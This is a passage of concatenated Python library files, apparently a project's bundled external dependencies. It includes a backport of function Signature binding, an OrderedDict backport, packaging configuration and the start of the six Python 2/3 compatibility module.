                    if param_name not in self.arguments:
                        kwargs_started = True
                        continue

            if not kwargs_started:
                continue

            try:
                arg = self.arguments[param_name]
            except KeyError:
                pass
            else:
                if param.kind == _VAR_KEYWORD:
                    # **kwargs
                    kwargs.update(arg)
                else:
                    # plain keyword argument
                    kwargs[param_name] = arg

        return kwargs

    def __hash__(self):
        msg = "unhashable type: '{0}'".format(self.__class__.__name__)
        raise TypeError(msg)

    def __eq__(self, other):
        return (issubclass(other.__class__, BoundArguments) and
                self.signature == other.signature and
                self.arguments == other.arguments)

    def __ne__(self, other):
        return not self.__eq__(other)


class Signature(object):
    '''A Signature object represents the overall signature of a function.
    It stores a Parameter object for each parameter accepted by the
    function, as well as information specific to the function itself.

    A Signature object has the following public attributes and methods:

    * parameters : OrderedDict
        An ordered mapping of parameters' names to the corresponding
        Parameter objects (keyword-only arguments are in the same order
        as listed in `code.co_varnames`).
    * return_annotation : object
        The annotation for the return type of the function if specified.
        If the function has no annotation for its return type, this
        attribute is not set.
    * bind(*args, **kwargs) -> BoundArguments
        Creates a mapping from positional and keyword arguments to
        parameters.
    * bind_partial(*args, **kwargs) -> BoundArguments
        Creates a partial mapping from positional and keyword arguments
        to parameters (simulating 'functools.partial' behavior.)
    '''

    __slots__ = ('_return_annotation', '_parameters')

    _parameter_cls = Parameter
    _bound_arguments_cls = BoundArguments

    empty = _empty

    def __init__(self, parameters=None, return_annotation=_empty,
                 __validate_parameters__=True):
        '''Constructs Signature from the given list of Parameter
        objects and 'return_annotation'.  All arguments are optional.
        '''

        if parameters is None:
            params = OrderedDict()
        else:
            if __validate_parameters__:
                params = OrderedDict()
                top_kind = _POSITIONAL_ONLY

                for idx, param in enumerate(parameters):
                    kind = param.kind
                    if kind < top_kind:
                        msg = 'wrong parameter order: {0} before {1}'
                        msg = msg.format(top_kind, param.kind)
                        raise ValueError(msg)
                    else:
                        top_kind = kind

                    name = param.name
                    if name is None:
                        name = str(idx)
                        param = param.replace(name=name)

                    if name in params:
                        msg = 'duplicate parameter name: {0!r}'.format(name)
                        raise ValueError(msg)
                    params[name] = param
            else:
                params = OrderedDict(((param.name, param)
                                                for param in parameters))

        self._parameters = params
        self._return_annotation = return_annotation

    @classmethod
    def from_function(cls, func):
        '''Constructs Signature for the given python function'''

        if not isinstance(func, types.FunctionType):
            raise TypeError('{0!r} is not a Python function'.format(func))

        Parameter = cls._parameter_cls

        # Parameter information.
        func_code = func.__code__
        pos_count = func_code.co_argcount
        arg_names = func_code.co_varnames
        positional = tuple(arg_names[:pos_count])
        keyword_only_count = getattr(func_code, 'co_kwonlyargcount', 0)
        keyword_only = arg_names[pos_count:(pos_count + keyword_only_count)]
        annotations = getattr(func, '__annotations__', {})
        defaults = func.__defaults__
        kwdefaults = getattr(func, '__kwdefaults__', None)

        if defaults:
            pos_default_count = len(defaults)
        else:
            pos_default_count = 0

        parameters = []

        # Non-keyword-only parameters w/o defaults.
        non_default_count = pos_count - pos_default_count
        for name in positional[:non_default_count]:
            annotation = annotations.get(name, _empty)
            parameters.append(Parameter(name, annotation=annotation,
                                        kind=_POSITIONAL_OR_KEYWORD))

        # ... w/ defaults.
        for offset, name in enumerate(positional[non_default_count:]):
            annotation = annotations.get(name, _empty)
            parameters.append(Parameter(name, annotation=annotation,
                                        kind=_POSITIONAL_OR_KEYWORD,
                                        default=defaults[offset]))

        # *args
        if func_code.co_flags & 0x04:
            name = arg_names[pos_count + keyword_only_count]
            annotation = annotations.get(name, _empty)
            parameters.append(Parameter(name, annotation=annotation,
                                        kind=_VAR_POSITIONAL))

        # Keyword-only parameters.
        for name in keyword_only:
            default = _empty
            if kwdefaults is not None:
                default = kwdefaults.get(name, _empty)

            annotation = annotations.get(name, _empty)
            parameters.append(Parameter(name, annotation=annotation,
                                        kind=_KEYWORD_ONLY,
                                        default=default))
        # **kwargs
        if func_code.co_flags & 0x08:
            index = pos_count + keyword_only_count
            if func_code.co_flags & 0x04:
                index += 1

            name = arg_names[index]
            annotation = annotations.get(name, _empty)
            parameters.append(Parameter(name, annotation=annotation,
                                        kind=_VAR_KEYWORD))

        return cls(parameters,
                   return_annotation=annotations.get('return', _empty),
                   __validate_parameters__=False)

    @property
    def parameters(self):
        try:
            return types.MappingProxyType(self._parameters)
        except AttributeError:
            return OrderedDict(self._parameters.items())

    @property
    def return_annotation(self):
        return self._return_annotation

    def replace(self, parameters=_void, return_annotation=_void):
        '''Creates a customized copy of the Signature.
        Pass 'parameters' and/or 'return_annotation' arguments
        to override them in the new copy.
        '''

        if parameters is _void:
            parameters = self.parameters.values()

        if return_annotation is _void:
            return_annotation = self._return_annotation

        return type(self)(parameters,
                          return_annotation=return_annotation)

    def __hash__(self):
        msg = "unhashable type: '{0}'".format(self.__class__.__name__)
        raise TypeError(msg)

    def __eq__(self, other):
        if (not issubclass(type(other), Signature) or
                    self.return_annotation != other.return_annotation or
                    len(self.parameters) != len(other.parameters)):
            return False

        other_positions = dict((param, idx)
                           for idx, param in enumerate(other.parameters.keys()))

        for idx, (param_name, param) in enumerate(self.parameters.items()):
            if param.kind == _KEYWORD_ONLY:
                try:
                    other_param = other.parameters[param_name]
                except KeyError:
                    return False
                else:
                    if param != other_param:
                        return False
            else:
                try:
                    other_idx = other_positions[param_name]
                except KeyError:
                    return False
                else:
                    if (idx != other_idx or
                                    param != other.parameters[param_name]):
                        return False

        return True

    def __ne__(self, other):
        return not self.__eq__(other)

    def _bind(self, args, kwargs, partial=False):
        '''Private method.  Don't use directly.'''

        arguments = OrderedDict()

        parameters = iter(self.parameters.values())
        parameters_ex = ()
        arg_vals = iter(args)

        if partial:
            # Support for binding arguments to 'functools.partial' objects.
            # See 'functools.partial' case in 'signature()' implementation
            # for details.
            for param_name, param in self.parameters.items():
                if (param._partial_kwarg and param_name not in kwargs):
                    # Simulating 'functools.partial' behavior
                    kwargs[param_name] = param.default

        while True:
            # Let's iterate through the positional arguments and corresponding
            # parameters
            try:
                arg_val = next(arg_vals)
            except StopIteration:
                # No more positional arguments
                try:
                    param = next(parameters)
                except StopIteration:
                    # No more parameters. That's it. Just need to check that
                    # we have no `kwargs` after this while loop
                    break
                else:
                    if param.kind == _VAR_POSITIONAL:
                        # That's OK, just empty *args.  Let's start parsing
                        # kwargs
                        break
                    elif param.name in kwargs:
                        if param.kind == _POSITIONAL_ONLY:
                            msg = '{arg!r} parameter is positional only, ' \
                                  'but was passed as a keyword'
                            msg = msg.format(arg=param.name)
                            raise TypeError(msg)
                        parameters_ex = (param,)
                        break
                    elif (param.kind == _VAR_KEYWORD or
                                                param.default is not _empty):
                        # That's fine too - we have a default value for this
                        # parameter.  So, lets start parsing `kwargs`, starting
                        # with the current parameter
                        parameters_ex = (param,)
                        break
                    else:
                        if partial:
                            parameters_ex = (param,)
                            break
                        else:
                            msg = '{arg!r} parameter lacking default value'
                            msg = msg.format(arg=param.name)
                            raise TypeError(msg)
            else:
                # We have a positional argument to process
                try:
                    param = next(parameters)
                except StopIteration:
                    raise TypeError('too many positional arguments')
                else:
                    if param.kind in (_VAR_KEYWORD, _KEYWORD_ONLY):
                        # Looks like we have no parameter for this positional
                        # argument
                        raise TypeError('too many positional arguments')

                    if param.kind == _VAR_POSITIONAL:
                        # We have an '*args'-like argument, let's fill it with
                        # all positional arguments we have left and move on to
                        # the next phase
                        values = [arg_val]
                        values.extend(arg_vals)
                        arguments[param.name] = tuple(values)
                        break

                    if param.name in kwargs:
                        raise TypeError('multiple values for argument '
                                        '{arg!r}'.format(arg=param.name))

                    arguments[param.name] = arg_val

        # Now, we iterate through the remaining parameters to process
        # keyword arguments
        kwargs_param = None
        for param in itertools.chain(parameters_ex, parameters):
            if param.kind == _POSITIONAL_ONLY:
                # This should never happen in case of a properly built
                # Signature object (but let's have this check here
                # to ensure correct behaviour just in case)
                raise TypeError('{arg!r} parameter is positional only, '
                                'but was passed as a keyword'. \
                                format(arg=param.name))

            if param.kind == _VAR_KEYWORD:
                # Memorize that we have a '**kwargs'-like parameter
                kwargs_param = param
                continue

            param_name = param.name
            try:
                arg_val = kwargs.pop(param_name)
            except KeyError:
                # We have no value for this parameter.  It's fine though,
                # if it has a default value, or it is an '*args'-like
                # parameter, left alone by the processing of positional
                # arguments.
                if (not partial and param.kind != _VAR_POSITIONAL and
                                                    param.default is _empty):
                    raise TypeError('{arg!r} parameter lacking default value'. \
                                    format(arg=param_name))

            else:
                arguments[param_name] = arg_val

        if kwargs:
            if kwargs_param is not None:
                # Process our '**kwargs'-like parameter
                arguments[kwargs_param.name] = kwargs
            else:
                raise TypeError('too many keyword arguments')

        return self._bound_arguments_cls(self, arguments)

    def bind(self, *args, **kwargs):
        '''Get a BoundArguments object, that maps the passed `args`
        and `kwargs` to the function's signature.  Raises `TypeError`
        if the passed arguments can not be bound.
        '''
        return self._bind(args, kwargs)

    def bind_partial(self, *args, **kwargs):
        '''Get a BoundArguments object, that partially maps the
        passed `args` and `kwargs` to the function's signature.
        Raises `TypeError` if the passed arguments can not be bound.
        '''
        return self._bind(args, kwargs, partial=True)

    def __str__(self):
        result = []
        render_kw_only_separator = True
        for idx, param in enumerate(self.parameters.values()):
            formatted = str(param)

            kind = param.kind
            if kind == _VAR_POSITIONAL:
                # OK, we have an '*args'-like parameter, so we won't need
                # a '*' to separate keyword-only arguments
                render_kw_only_separator = False
            elif kind == _KEYWORD_ONLY and render_kw_only_separator:
                # We have a keyword-only parameter to render and we haven't
                # rendered an '*args'-like parameter before, so add a '*'
                # separator to the parameters list ("foo(arg1, *, arg2)" case)
                result.append('*')
                # This condition should be only triggered once, so
                # reset the flag
                render_kw_only_separator = False

            result.append(formatted)

        rendered = '({0})'.format(', '.join(result))

        if self.return_annotation is not _empty:
            anno = formatannotation(self.return_annotation)
            rendered += ' -> {0}'.format(anno)

        return rendered






"""
Fixtures to get the external bundled dependencies tested.

This module gets loaded by test discovery scanners (such as nose) in
their collection scan.
"""

import sys
import os
sys.path.append(os.path.abspath(os.path.dirname(__file__)))






# -*- coding: utf-8 -*-


def configuration(parent_package='', top_path=None):
    from numpy.distutils.misc_util import Configuration
    config = Configuration('externals', parent_package, top_path)
    config.add_subpackage('joblib')

    return config






# Backport of OrderedDict() class that runs on Python 2.4, 2.5, 2.6, 2.7 and pypy.
# Passes Python2.7's test suite and incorporates all the latest updates.
# Copyright 2009 Raymond Hettinger
# http://code.activestate.com/recipes/576693/
"Ordered dictionary"

try:
    from thread import get_ident as _get_ident
except ImportError:
    try:
        from dummy_thread import get_ident as _get_ident
    except ImportError:
        # Ensure that this module is still importable under Python3 to avoid
        # crashing code-inspecting tools like nose.
        from _dummy_thread import get_ident as _get_ident

try:
    from _abcoll import KeysView, ValuesView, ItemsView
except ImportError:
    pass


class OrderedDict(dict):
    'Dictionary that remembers insertion order'
    # An inherited dict maps keys to values.
    # The inherited dict provides __getitem__, __len__, __contains__, and get.
    # The remaining methods are order-aware.
    # Big-O running times for all methods are the same as for regular dictionaries.

    # The internal self.__map dictionary maps keys to links in a doubly linked list.
    # The circular doubly linked list starts and ends with a sentinel element.
    # The sentinel element never gets deleted (this simplifies the algorithm).
    # Each link is stored as a list of length three:  [PREV, NEXT, KEY].

    def __init__(self, *args, **kwds):
        '''Initialize an ordered dictionary.  Signature is the same as for
        regular dictionaries, but keyword arguments are not recommended
        because their insertion order is arbitrary.

        '''
        if len(args) > 1:
            raise TypeError('expected at most 1 arguments, got %d' % len(args))
        try:
            self.__root
        except AttributeError:
            self.__root = root = []                     # sentinel node
            root[:] = [root, root, None]
            self.__map = {}
        self.__update(*args, **kwds)

    def __setitem__(self, key, value, dict_setitem=dict.__setitem__):
        'od.__setitem__(i, y) <==> od[i]=y'
        # Setting a new item creates a new link which goes at the end of the linked
        # list, and the inherited dictionary is updated with the new key/value pair.
        if key not in self:
            root = self.__root
            last = root[0]
            last[1] = root[0] = self.__map[key] = [last, root, key]
        dict_setitem(self, key, value)

    def __delitem__(self, key, dict_delitem=dict.__delitem__):
        'od.__delitem__(y) <==> del od[y]'
        # Deleting an existing item uses self.__map to find the link which is
        # then removed by updating the links in the predecessor and successor nodes.
        dict_delitem(self, key)
        link_prev, link_next, key = self.__map.pop(key)
        link_prev[1] = link_next
        link_next[0] = link_prev

    def __iter__(self):
        'od.__iter__() <==> iter(od)'
        root = self.__root
        curr = root[1]
        while curr is not root:
            yield curr[2]
            curr = curr[1]

    def __reversed__(self):
        'od.__reversed__() <==> reversed(od)'
        root = self.__root
        curr = root[0]
        while curr is not root:
            yield curr[2]
            curr = curr[0]

    def clear(self):
        'od.clear() -> None.  Remove all items from od.'
        try:
            for node in self.__map.itervalues():
                del node[:]
            root = self.__root
            root[:] = [root, root, None]
            self.__map.clear()
        except AttributeError:
            pass
        dict.clear(self)

    def popitem(self, last=True):
        '''od.popitem() -> (k, v), return and remove a (key, value) pair.
        Pairs are returned in LIFO order if last is true or FIFO order if false.

        '''
        if not self:
            raise KeyError('dictionary is empty')
        root = self.__root
        if last:
            link = root[0]
            link_prev = link[0]
            link_prev[1] = root
            root[0] = link_prev
        else:
            link = root[1]
            link_next = link[1]
            root[1] = link_next
            link_next[0] = root
        key = link[2]
        del self.__map[key]
        value = dict.pop(self, key)
        return key, value

    # -- the following methods do not depend on the internal structure --

    def keys(self):
        'od.keys() -> list of keys in od'
        return list(self)

    def values(self):
        'od.values() -> list of values in od'
        return [self[key] for key in self]

    def items(self):
        'od.items() -> list of (key, value) pairs in od'
        return [(key, self[key]) for key in self]

    def iterkeys(self):
        'od.iterkeys() -> an iterator over the keys in od'
        return iter(self)

    def itervalues(self):
        'od.itervalues -> an iterator over the values in od'
        for k in self:
            yield self[k]

    def iteritems(self):
        'od.iteritems -> an iterator over the (key, value) items in od'
        for k in self:
            yield (k, self[k])

    def update(*args, **kwds):
        '''od.update(E, **F) -> None.  Update od from dict/iterable E and F.

        If E is a dict instance, does:           for k in E: od[k] = E[k]
        If E has a .keys() method, does:         for k in E.keys(): od[k] = E[k]
        Or if E is an iterable of items, does:   for k, v in E: od[k] = v
        In either case, this is followed by:     for k, v in F.items(): od[k] = v

        '''
        if len(args) > 2:
            raise TypeError('update() takes at most 2 positional '
                            'arguments (%d given)' % (len(args),))
        elif not args:
            raise TypeError('update() takes at least 1 argument (0 given)')
        self = args[0]
        # Make progressively weaker assumptions about "other"
        other = ()
        if len(args) == 2:
            other = args[1]
        if isinstance(other, dict):
            for key in other:
                self[key] = other[key]
        elif hasattr(other, 'keys'):
            for key in other.keys():
                self[key] = other[key]
        else:
            for key, value in other:
                self[key] = value
        for key, value in kwds.items():
            self[key] = value

    __update = update  # let subclasses override update without breaking __init__

    __marker = object()

    def pop(self, key, default=__marker):
        '''od.pop(k[,d]) -> v, remove specified key and return the corresponding value.
        If key is not found, d is returned if given, otherwise KeyError is raised.

        '''
        if key in self:
            result = self[key]
            del self[key]
            return result
        if default is self.__marker:
            raise KeyError(key)
        return default

    def setdefault(self, key, default=None):
        'od.setdefault(k[,d]) -> od.get(k,d), also set od[k]=d if k not in od'
        if key in self:
            return self[key]
        self[key] = default
        return default

    def __repr__(self, _repr_running={}):
        'od.__repr__() <==> repr(od)'
        call_key = id(self), _get_ident()
        if call_key in _repr_running:
            return '...'
        _repr_running[call_key] = 1
        try:
            if not self:
                return '%s()' % (self.__class__.__name__,)
            return '%s(%r)' % (self.__class__.__name__, self.items())
        finally:
            del _repr_running[call_key]

    def __reduce__(self):
        'Return state information for pickling'
        items = [[k, self[k]] for k in self]
        inst_dict = vars(self).copy()
        for k in vars(OrderedDict()):
            inst_dict.pop(k, None)
        if inst_dict:
            return (self.__class__, (items,), inst_dict)
        return self.__class__, (items,)

    def copy(self):
        'od.copy() -> a shallow copy of od'
        return self.__class__(self)

    @classmethod
    def fromkeys(cls, iterable, value=None):
        '''OD.fromkeys(S[, v]) -> New ordered dictionary with keys from S
        and values equal to v (which defaults to None).

        '''
        d = cls()
        for key in iterable:
            d[key] = value
        return d

    def __eq__(self, other):
        '''od.__eq__(y) <==> od==y.  Comparison to another OD is order-sensitive
        while comparison to a regular mapping is order-insensitive.

        '''
        if isinstance(other, OrderedDict):
            return len(self)==len(other) and self.items() == other.items()
        return dict.__eq__(self, other)

    def __ne__(self, other):
        return not self == other

    # -- the following methods are only used in Python 2.7 --

    def viewkeys(self):
        "od.viewkeys() -> a set-like object providing a view on od's keys"
        return KeysView(self)

    def viewvalues(self):
        "od.viewvalues() -> an object providing a view on od's values"
        return ValuesView(self)

    def viewitems(self):
        "od.viewitems() -> a set-like object providing a view on od's items"
        return ItemsView(self)







"""
External, bundled dependencies.

"""






"""Utilities for writing code that runs on Python 2 and 3"""

# Copyright (c) 2010-2013 Benjamin Peterson
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.

import operator
import sys
import types

__author__ = "Benjamin Peterson <benjamin@python.org>"
__version__ = "1.4.1"


# Useful for very coarse version differentiation.
PY2 = sys.version_info[0] == 2
PY3 = sys.version_info[0] == 3

if PY3:
    string_types = str,
    integer_types = int,
    class_types = type,
    text_type = str
    binary_type = bytes

    MAXSIZE = sys.maxsize
else:
    string_types = basestring,
    integer_types = (int, long)
    class_types = (type, types.ClassType)
    text_type = unicode
    binary_type = str

    if sys.platform.startswith("java"):
        # Jython always uses 32 bits.
        MAXSIZE = int((1 << 31) - 1)
    else:
        # It's possible to have sizeof(long) != sizeof(Py_ssize_t).
        class X(object):
            def __len__(self):
                return 1 << 31
        try:
            len(X())
        except OverflowError:
            # 32-bit
            MAXSIZE = int((1 << 31) - 1)
        else:
            # 64-bit
            MAXSIZE = int((1 << 63) - 1)
        del X


def _add_doc(func, doc):
    """Add documentation to a function."""
    func.__doc__ = doc


def _import_module(name):
    """Import module, returning the module after the last dot."""
    __import__(name)
    return sys.modules[name]


class _LazyDescr(object):

    def __init__(self, name):
        self.name = name

    def __get__(self, obj, tp):
        result = self._resolve()
        setattr(obj, self.name, result)
        # This is a bit ugly, but it avoids running this again.
        delattr(tp, self.name)
        return result


class MovedModule(_LazyDescr):

    def __init__(self, name, old, new=None):
        super(MovedModule, self).__init__(name)
        if PY3:
            if new is None:
                new = name
            self.mod = new
        else:
            self.mod = old

    def _resolve(self):
        return _import_module(self.mod)


class MovedAttribute(_LazyDescr):

    def __init__(self, name, old_mod, new_mod, old_attr=None, new_attr=None):
        super(MovedAttribute, self).__init__(name)
        if PY3:
            if new_mod is None:
                new_mod = name
            self.mod = new_mod
            if new_attr is None:
                if old_attr is None:
                    new_attr = name
                else:
                    new_attr = old_attr
            self.attr = new_attr
        else:
            self.mod = old_mod
            if old_attr is None:
                old_attr = name
            self.attr = old_attr

    def _resolve(self):
        module = _import_module(self.mod)
        return getattr(module, self.attr)



class _MovedItems(types.ModuleType):
    """Lazy loading of moved objects"""


_moved_attributes = [
    MovedAttribute("cStringIO", "cStringIO", "io", "StringIO"),
    MovedAttribute("filter", "itertools", "builtins", "ifilter", "filter"),
    MovedAttribute("filterfalse", "itertools", "itertools", "ifilterfalse", "filterfalse"),
    MovedAttribute("input", "__builtin__", "builtins", "raw_input", "input"),
    MovedAttribute("map", "itertools", "builtins", "imap", "map"),
    MovedAttribute("range", "__builtin__", "builtins", "xrange", "range"),
    MovedAttribute("reload_module", "__builtin__", "imp", "reload"),
    MovedAttribute("reduce", "__builtin__", "functools"),
    MovedAttribute("StringIO", "StringIO", "io"),
    MovedAttribute("UserString", "UserString", "collections"),
    MovedAttribute("xrange", "__builtin__", "builtins", "xrange", "range"),
    MovedAttribute("zip", "itertools", "builtins", "izip", "zip"),
    MovedAttribute("zip_longest", "itertools", "itertools", "izip_longest", "zip_longest"),

    MovedModule("builtins", "__builtin__"),
    MovedModule("configparser", "ConfigParser"),
    MovedModule("copyreg", "copy_reg"),
    MovedModule("http_cookiejar", "cookielib", "http.cookiejar"),
    MovedModule("http_cookies", "Cookie", "http.cookies"),
    MovedModule("html_entities", "htmlentitydefs", "html.entities"),
    MovedModule("html_parser", "HTMLParser", "html.parser"),
    MovedModule("http_client", "httplib", "http.client"),
    MovedModule("email_mime_multipart", "email.MIMEMultipart", "email.mime.multipart"),
    MovedModule("email_mime_text", "email.MIMEText", "email.mime.text"),
    MovedModule("email_mime_base", "email.MIMEBase", "email.mime.base"),
    MovedModule("BaseHTTPServer", "BaseHTTPServer", "http.server"),
    MovedModule("CGIHTTPServer", "CGIHTTPServer", "http.server"),
    MovedModule("SimpleHTTPServer", "SimpleHTTPServer", "http.server"),
    MovedModule("cPickle", "cPickle", "pickle"),
    MovedModule("queue", "Queue"),
    MovedModule("reprlib", "repr"),
    MovedModule("socketserver", "SocketServer"),
    MovedModule("tkinter", "Tkinter"),
    MovedModule("tkinter_dialog", "Dialog", "tkinter.dialog"),
    MovedModule("tkinter_filedialog", "FileDialog", "tkinter.filedialog"),
    MovedModule("tkinter_scrolledtext", "ScrolledText", "tkinter.scrolledtext"),
    MovedModule("tkinter_simpledialog", "SimpleDialog", "tkinter.simpledialog"),
    MovedModule("tkinter_tix", "Tix", "tkinter.tix"),
    MovedModule("tkinter_constants", "Tkconstants", "tkinter.constants"),
    MovedModule("tkinter_dnd", "Tkdnd", "tkinter.dnd"),
    MovedModule("tkinter_colorchooser", "tkColorChooser",
                "tkinter.colorchooser"),
    MovedModule("tkinter_commondialog", "tkCommonDialog",
                "tkinter.commondialog"),
    MovedModule("tkinter_tkfiledialog", "tkFileDialog", "tkinter.filedialog"),
    MovedModule("tkinter_font", "tkFont", "tkinter.font"),
    MovedModule("tkinter_messagebox", "tkMessageBox", "tkinter.messagebox"),
    MovedModule("tkinter_tksimpledialog", "tkSimpleDialog",
                "tkinter.simpledialog"),
    MovedModule("urllib_parse", __name__ + ".moves.urllib_parse", "urllib.parse"),
    MovedModule("urllib_error", __name__ + ".moves.urllib_error", "urllib.error"),
    MovedModule("urllib", __name__ + ".moves.urllib", __name__ + ".moves.urllib"),
    MovedModule("urllib_robotparser", "robotparser", "urllib.robotparser"),
    MovedModule("winreg", "_winreg"),
]
for attr in _moved_attributes:
    setattr(_MovedItems, attr.name, attr)
del attr

moves = sys.modules[__name__ + ".moves"] = _MovedItems(__name__ + ".moves")



class Module_six_moves_urllib_parse(types.ModuleType):
    """Lazy loading of moved objects in six.moves.urllib_parse"""


_urllib_parse_moved_attributes = [
    MovedAttribute("ParseResult", "urlparse", "urllib.parse"),
    MovedAttribute("parse_qs", "urlparse", "urllib.parse"),
    MovedAttribute("parse_qsl", "urlparse", "urllib.parse"),
    MovedAttribute("urldefrag", "urlparse", "urllib.parse"),
    MovedAttribute("urljoin", "urlparse", "urllib.parse"),
    MovedAttribute("urlparse", "urlparse", "urllib.parse"),
    MovedAttribute("urlsplit", "urlparse", "urllib.parse"),
    MovedAttribute("urlunparse", "urlparse", "urllib.parse"),
    MovedAttribute("urlunsplit", "urlparse", "urllib.parse"),
    MovedAttribute("quote", "urllib", "urllib.parse"),
    MovedAttribute("quote_plus", "urllib", "urllib.parse"),
    MovedAttribute("unquote", "urllib", "urllib.parse"),
    MovedAttribute("unquote_plus", "urllib", "urllib.parse"),
    MovedAttribute("urlencode", "urllib", "urllib.parse"),
]
for attr in _urllib_parse_moved_attributes:
    setattr(Module_six_moves_urllib_parse, attr.name, attr)
del attr

sys.modules[__name__ + ".moves.urllib_parse"] = Module_six_moves_urllib_parse(__name__ + ".moves.urllib_parse")
sys.modules[__name__ + ".moves.urllib.parse"] = Module_six_moves_urllib_parse(__name__ + ".moves.urllib.parse")


class Module_six_moves_urllib_error(types.ModuleType):
    """Lazy loading of moved objects in six.moves.urllib_error"""


_urllib_error_moved_attributes = [
    MovedAttribute("URLError", "urllib2", "urllib.error"),
    MovedAttribute("HTTPError", "urllib2", "urllib.error"),
    MovedAttribute("ContentTooShortError", "urllib", "urllib.error"),
]
for attr in _urllib_error_moved_attributes:
    setattr(Module_six_moves_urllib_error, attr.name, attr)
del attr

sys.modules[__name__ + ".moves.urllib_error"] = Module_six_moves_urllib_error(__name__ + ".moves.urllib_error")
sys.modules[__name__ + ".moves.urllib.error"] = Module_six_moves_urllib_error(__name__ + ".moves.urllib.error")


class Module_six_moves_urllib_request(types.ModuleType):
    """Lazy loading of moved objects in six.moves.urllib_request"""


_urllib_request_moved_attributes = [
    MovedAttribute("urlopen", "urllib2", "urllib.request"),
    MovedAttribute("install_opener", "urllib2", "urllib.request"),
    MovedAttribute("build_opener", "urllib2", "urllib.request"),
    MovedAttribute("pathname2url", "urllib", "urllib.request"),
    MovedAttribute("url2pathname", "urllib", "urllib.request"),
    MovedAttribute("getproxies", "urllib", "urllib.request"),
    MovedAttribute("Request", "urllib2", "urllib.request"),
    MovedAttribute("OpenerDirector", "urllib2", "urllib.request"),
    MovedAttribute("HTTPDefaultErrorHandler", "urllib2", "urllib.request"),
    MovedAttribute("HTTPRedirectHandler", "urllib2", "urllib.request"),
    MovedAttribute("HTTPCookieProcessor", "urllib2", "urllib.request"),
    MovedAttribute("ProxyHandler", "urllib2", "urllib.request"),
    MovedAttribute("BaseHandler", "urllib2", "urllib.request"),
    MovedAttribute("HTTPPasswordMgr", "urllib2", "urllib.request"),
    MovedAttribute("HTTPPasswordMgrWithDefaultRealm", "urllib2", "urllib.request"),
    MovedAttribute("AbstractBasicAuthHandler", "urllib2", "urllib.request"),
    MovedAttribute("HTTPBasicAuthHandler", "urllib2", "urllib.request"),
    MovedAttribute("ProxyBasicAuthHandler", "urllib2", "urllib.request"),
    MovedAttribute("AbstractDigestAuthHandler", "urllib2", "urllib.request"),
    MovedAttribute("HTTPDigestAuthHandler", "urllib2", "urllib.request"),
    MovedAttribute("ProxyDigestAuthHandler", "urllib2", "urllib.request"),
    MovedAttribute("HTTPHandler", "urllib2", "urllib.request"),
    MovedAttribute("HTTPSHandler", "urllib2", "urllib.request"),
    MovedAttribute("FileHandler", "urllib2", "urllib.request"),
    MovedAttribute("FTPHandler", "urllib2", "urllib.request"),
    MovedAttribute("CacheFTPHandler", "urllib2", "urllib.request"),
    MovedAttribute("UnknownHandler", "urllib2", "urllib.request"),
    MovedAttribute("HTTPErrorProcessor", "urllib2", "urllib.request"),
    MovedAttribute("urlretrieve", "urllib", "urllib.request"),
    MovedAttribute("urlcleanup", "urllib", "urllib.request"),
    MovedAttribute("URLopener", "urllib", "urllib.request"),
    MovedAttribute("FancyURLopener", "urllib", "urllib.request"),
]
for attr in _urllib_request_moved_attributes:
    setattr(Module_six_moves_urllib_request, attr.name, attr)
del attr

sys.modules[__name__ + ".moves.urllib_request"] = Module_six_moves_urllib_request(__name__ + ".moves.urllib_request")
sys.modules[__name__ + ".moves.urllib.request"] = Module_six_moves_urllib_request(__name__ + ".moves.urllib.request")


class Module_six_moves_urllib_response(types.ModuleType):
    """Lazy loading of moved objects in six.moves.urllib_response"""


_urllib_response_moved_attributes = [
    MovedAttribute("addbase", "urllib", "urllib.response"),
    MovedAttribute("addclosehook", "urllib", "urllib.response"),
    MovedAttribute("addinfo", "urllib", "urllib.response"),
    MovedAttribute("addinfourl", "urllib", "urllib.response"),
]
for attr in _urllib_response_moved_attributes:
    setattr(Module_six_moves_urllib_response, attr.name, attr)
del attr

sys.modules[__name__ + ".moves.urllib_response"] = Module_six_moves_urllib_response(__name__ + ".moves.urllib_response")
sys.modules[__name__ + ".moves.urllib.response"] = Module_six_moves_urllib_response(__name__ + ".moves.urllib.response")


class Module_six_moves_urllib_robotparser(types.ModuleType):
    """Lazy loading of moved objects in six.moves.urllib_robotparser"""


_urllib_robotparser_moved_attributes = [
    MovedAttribute("RobotFileParser", "robotparser", "urllib.robotparser"),
]
for attr in _urllib_robotparser_moved_attributes:
    setattr(Module_six_moves_urllib_robotparser, attr.name, attr)
del attr

sys.modules[__name__ + ".moves.urllib_robotparser"] = Module_six_moves_urllib_robotparser(__name__ + ".moves.urllib_robotparser")
sys.modules[__name__ + ".moves.urllib.robotparser"] = Module_six_moves_urllib_robotparser(__name__ + ".moves.urllib.robotparser")


class Module_six_moves_urllib(types.ModuleType):
    """Create a six.moves.urllib namespace that resembles the Python 3 namespace"""
    parse = sys.modules[__name__ + ".moves.urllib_parse"]
    error = sys.modules[__name__ + ".moves.urllib_error"]
    request = sys.modules[__name__ + ".moves.urllib_request"]
    response = sys.modules[__name__ + ".moves.urllib_response"]
    robotparser = sys.modules[__name__ + ".moves.urllib_robotparser"]


sys.modules[__name__ + ".moves.urllib"] = Module_six_moves_urllib(__name__ + ".moves.urllib")


def add_move(move):
    """Add an item to six.moves."""
    setattr(_MovedItems, move.name, move)


def remove_move(name):
    """Remove item from six.moves."""
    try:
        delattr(_MovedItems, name)
    except AttributeError:
        try:
            del moves.__dict__[name]
        except KeyError:
            raise AttributeError("no such move, %r" % (name,))


if PY3:
    _meth_func = "__func__"
    _meth_self = "__self__"

    _func_closure = "__closure__"
    _func_code = "__code__"
